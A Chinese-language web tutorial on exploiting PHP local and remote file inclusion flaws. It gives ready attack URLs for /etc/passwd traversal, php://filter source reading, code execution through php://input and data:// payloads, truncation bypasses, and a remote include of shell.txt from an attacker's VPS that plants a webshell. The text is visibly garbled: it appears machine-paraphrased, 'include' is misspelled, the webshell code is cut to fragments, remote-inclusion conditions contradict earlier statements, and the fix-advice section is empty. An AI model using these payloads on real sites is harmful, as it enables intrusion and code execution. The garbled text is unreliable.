PHP漏洞检测工具:文件包含漏洞渗透测试实战

检测维修 0 98

详解PHP渗透测试文件包含漏洞与利用

更新的时间是二零二二年七月十九日十六时二十一分二十九秒, 创作者是宋dock。

它着重阐述PHP渗透测试文件包含漏洞以及利用情况, 文件漏洞属于极为常见的漏洞, 此类型漏洞虽说利用起来存在一定的难度, 然而一旦成功利用就会引发极为危险的后果。它还会详尽讲述PHP反序列化漏洞的理论依据以及案例示意, 有兴趣的人能够去了解一番。

什么是文件包含漏洞

在网站开发人员进行网站开发之际, 会把常常重复的代码书写于一个单独的文件当中, 在其他的文件之内能够运用文件包含的函数去引用那个单独的文件, 这就是所谓的文件包含。现今有不少的语言都对文件包含予以支持, 就像php(inchude, require, inchude_once, require_once)等等, 也就是说涵盖文件包含函数, 其目标在于降低代码的重复情况, 提升代码优化的效率, 减少函数重复的运用啊。

出现文件包含所引发的漏洞, 是鉴于存在这些文件包含的函数, 在我们具备一定权限(即可读权限)的情形下, 我们能够借助文件包含函数去包含我们语言所指定的文件, 又或者是包含本地服务器当中的文件。简单来讲, 当 php 语言于引入文件之际, 所引用的文件名, 用户有着操控的可能, 因传入的文件名未曾经过校验, 或者是未经历过滤而被绕过, 进而引用了其他文件, 致使出现恶意代码注入。

文件包含漏洞的分类

大体可以分为:本地文件包含和远程文件包含。

开启远程文件包含这一情况, 其开启条件为, 在php.ini配置文件里开启allow_url_fopen功能以及allow_url_include功能, 所包含的文件是第三方文件。

本地文件包含:就是本地服务器上的文件

只要远程包含能够开启, 这种情况下, 远程包含所存在的漏洞不但比本地包含的漏洞更为直接, 而且其危害程度也会更大, 甚至能够随意去包含任意主机的任意文件。

本地文件包含

按其名称所表达的意思, 拿来引用有本地属性的文件, 借助inchude所具备的包含功能去涵盖拥有本地性质(服务器范畴)的文件。

漏洞&利用利用条件(以PHP为例)

1.inchude,等函数通过动态变量引入

2.用户能自动控制动态变量

什么是动态变量?

我们可以这么理解,例如一个网站 http://127.0.0.1/inchude.php?in=../../../etc/passwd,那么此时的?in=../../../etc/passwd是我们动态可以操作的变量

直接访问文件

试问, xx等于 /etc/passwd , 此乃直接去访问那具有敏感性质的passwd文件。

?xx=../../../etc/passwd

利用协议读取源代码

xx等于php://filter/read=convert.base64这个编码方式进行编码后再从resource所指向的xx.php文件中读取内容, 如此这般便能够看到该php文件的源码。

截断

这里假设漏洞代码为

假设这样正常的网站,我们上传一个图片马文件为tpm.jpg,此时我们需要访问图片时网址就会报错,此时url=http://127.0.0.1/index.php?shell=tpm.jpg.php,此时文件中并没有该文件,此时我们就可以在.jpg后添加进行截断,可能可以绕过。

存在这样一种情况, 即php.ini这个文件里, magic_quotes_qpc的值被设置为off,而且PHP的版本是小于5.3.4的。

长度截断

漏洞代码演示

与上面原理差不多,在1.txt中写下

在清楚明白对方服务器的状况那情景之下, 我们能够运用超越服务器的解析特性, 去开展一次绕过。

所处情形为, Windows的长度方面, 是‘/.’的长度比256更长, 而Linux的长度来说, 是‘/.’的长度比4096更长。

PHP的伪协议file://

作用:

访问本地文件,在CTF中常用文件包含题型

条件:

allow_url_fopen=off/on

allow_url_inchude=off/on

实例:

文件的绝对路径和文件名

http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt

文件的相对路径和文件名

http://127.0.0.1/include.php?file=./phpinfo.txt

网络路径和文件名

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php://

作用:

php:// 访问输入输出流(i/o)

这里介绍两种常用类型:

php://filter 用于读取源码

PHP文件包含漏洞原理_php漏洞检测工具_PHP文件包含漏洞利用技巧

php://input 用于执行PHP代码

条件:

allow_url_fopen=off/on

allow_url_inchude=off/on

实例

php://filter, read=转换为.base64编码, 读取的资源是。

文件名

//base64读取文件源码

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

php://input + POST执行php代码

" target="_blank">http://127.0.0.1/include.php?file=php://input

POST DATA部分

如果具有一定的写入权限,POST 写入一句话木马

'); ?>

data://

条件 :

allow_url_fopen=on

allow_url_inchude=on

作用:

从PHP大于等于5.2.0开始, 能够运用data: //数据封装器, 去传递按照相应格式的数据。

可以执行PHP代码

实例

#1.data://text/plain,

" target="_blank">http://127.0.0.1/include.php?file=data://text/plain,

#2.data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://

phar://协议跟zip://类似, 它也能够对zip格式压缩包内容进行访问。

http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

利用条件 PHP > 5.3

若要运用Phar类之中的方法, 那就非得把phar.readonly设定为on或者off才行, 凭借phar协议能够对php反序列化漏洞攻击面予以拓展。

远程文件包含

服务器借助PHP函数包含任意文件, 因该要被包含文件过滤不甚严格, 乃至能够去包含一个恶意文件, 进而达成攻击之目的。

漏洞利用

条件:

allow_url_include = OFF

allow_url_fopen = OFF

远程包含webshell

?xxx=http://攻击者的VPS/shell.txt

#会在网站目录生成名为 shell.php 的一句话木马

shell.txt内容为:

');
?>

代码审计

文件包含用到的函数

使用此函数, 仅当代码运行至该函数处时, 才会把文件包含进去, 一旦遇上错误, 仅给出警告又持续执行。 ​ ​ ​ ​ include()。

和前者有着相同功能的 inclue_once(), 在此提及的区别之处主要为, 当针对同一文件展开重复调用这样一种情况时, 程序所呈现的调用状态仅为一次。

在程序执行时只要使用此函数, 即刻便会调用, 而一旦此函数所包含文件发生被认为会引起错误的情况, 就会输出错误信息, 并且紧接着马上终止程序运行。

需要一次调用, 其功能与前面那个是一样的, 不同之处在于, 一旦重复调用同一个文件, 程序仅仅进行一次调用行为。

代码审计的时候全局搜索以上函数

假设是依据图像上传情况而言的话, 那就需要去搜索 $_FILES 变量, 原因在于 PHP 用于处理上传文件的这种功能, 基本上全都是和 $_FILES 存在关联的。

看看目录的设置架构, 着重留意其中名为includes、modules的文件夹, 瞧瞧那index.php等文件有没有以动态方式调用了这些内容, 再看看变量是不是能够被操控。

修复建议

说到这儿, 这篇针对PHP渗透测试文件包含漏洞以及利用方面进行详细解析的文章, 就介绍到此处了 , 更多与之相关的PHP文件漏洞与利用的内容, 若想了解, 可搜索脚本之家往昔的文章, 或者持续浏览接下来的相关文章 , 期望大家今后能给予脚本之家诸多支持!

相关推荐: